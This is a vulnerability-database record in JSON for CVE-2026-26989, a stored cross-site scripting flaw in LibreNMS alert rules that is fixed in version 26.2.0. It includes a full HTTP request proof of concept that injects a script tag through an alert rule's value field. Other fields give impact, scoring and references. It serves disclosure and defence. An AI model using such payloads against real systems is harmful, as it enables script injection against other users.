{"id":"CVE-2026-26989","aliases":["GHSA-6xmx-xr9p-58p7"],"url":"https://o3.security/vulnerability/CVE-2026-26989","summary":"LibreNMS has Stored XSS in Alert Rule","details":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.\n\n### Details\nThe stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`.\n```\n<td><i>\" . e($rule_display) . \"</i></td>\n```\n\n### PoC\n\nRequest PoC:\n```\nPOST /alert-rule HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\nX-Requested-With: XMLHttpRequest\nContent-Length: 718\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules\nCookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D\nPriority: u=0\n\n_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query=\n```\n\nSteps to reproduce:\n1. Create and save an alert rule within a device with the following values:\n<img width=\"893\" height=\"325\" alt=\"image\" src=\"https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea\" />\n\n2. Injected JavaScript is executed:\n<img width=\"1104\" height=\"565\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b\" />\n\n\n\n### Impact\nType: Stored Cross-Site Scripting (XSS)\nAffected users: Only accounts with the admin role which can edit a device's alert rules are affected.\nAttackers need: Authenticated admin-level access.","published":"2026-02-20T01:25:31.936Z","modified":"2026-08-12T03:51:14.550389660Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L"},"epss":{"score":0.00238,"percentile":0.15044,"asOf":"2026-08-18"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"librenms/librenms","fixedVersion":"26.2.0"}],"fix":{"url":"https://github.com/librenms/librenms/commit/087608cf9f851189847cb8e8e5ad002e59170c58","label":"librenms/librenms@087608c"},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/releases/tag/26.2.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26989.json"},{"type":"ADVISORY","url":"https://github.com/librenms/librenms/security/advisories/GHSA-6xmx-xr9p-58p7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26989"},{"type":"FIX","url":"https://github.com/librenms/librenms/commit/087608cf9f851189847cb8e8e5ad002e59170c58"},{"type":"FIX","url":"https://github.com/librenms/librenms/pull/19039"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:14.550389660Z"}}